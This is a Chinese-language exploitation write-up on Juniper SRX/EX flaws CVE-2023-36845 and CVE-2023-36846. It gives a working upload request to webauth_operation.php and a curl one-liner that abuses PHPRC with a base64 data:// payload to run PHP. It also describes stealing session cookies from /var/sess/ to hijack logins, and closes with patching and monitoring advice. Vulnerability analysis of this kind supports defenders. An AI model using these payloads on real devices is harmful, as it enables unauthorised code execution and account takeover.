Juniper新洞CVE-2023-36845浅析
字数 1035 2025-08-24 07:48:10
Juniper漏洞CVE-2023-36845深度分析与利用教学
漏洞概述
2023年8月17日,Juniper宣布了多个漏洞,包括与防火墙SRX和Switch EX相关的:
- CVE-2023-36844
- CVE-2023-36845
- CVE-2023-36846
- CVE-2023-36847
- CVE-2023-36851
这些漏洞单独CVSS评分为5.3,但组合利用可达9.8分。其中CVE-2023-36845可单独实现远程代码执行(RCE)并获取管理员权限。
漏洞组合利用原理
公开PoC通常结合使用两个漏洞:
- CVE-2023-36846:用于上传可执行文件test.php和配置文件php.ini
- CVE-2023-36845:通过修改PHP的PHPRC环境变量,利用上传的php.ini执行test.php
漏洞验证与利用
文件上传验证
使用以下POST请求测试文件上传功能:
POST /webauth_operation.php HTTP/1.1
Host: target_host
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 92
rs=do_upload&rsargs[]=[{"fileName":"test.txt","fileData":",aGk=","csize":2}]
成功响应应返回200 OK,失败可能显示"function not callable"。
PHP代码执行
使用curl执行PHP代码:
curl "http://target.tld/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'
此命令会执行phpinfo()函数,验证RCE是否可行。
命令执行限制
Juniper从7.5版本开始默认安装Veriexec工具,即使以root用户身份也无法执行某些基本命令,这是重要的防护机制。
高级利用技术
会话劫持
- 使用
glob()函数读取/var/sess/目录获取会话文件列表 - 提取PHPSESSID或SECUREPHPSESSID
- 使用窃取的会话cookie登录web界面
SSH登录尝试
检查/var/sess/目录中是否存在sess-...文件:
- 存在:可能可以登录(会话超时3600秒)
- 不存在:无法登录
实际利用限制
- 版本差异可能导致利用不完全成功
- Veriexec防护机制限制了命令执行能力
- 会话劫持成功率受环境配置影响
防护建议
- 及时应用Juniper发布的安全补丁
- 限制对
webauth_operation.php的访问 - 监控异常的文件上传和PHP环境变量修改行为
- 定期轮换会话凭证
参考资源
-
公开PoC代码库:
- https://github.com/kljunowsky/CVE-2023-36845
- https://github.com/r3dcl1ff/CVE-2023-36844_Juniper_RCE
-
Juniper安全公告:参考官方发布的2023年8月17日安全公告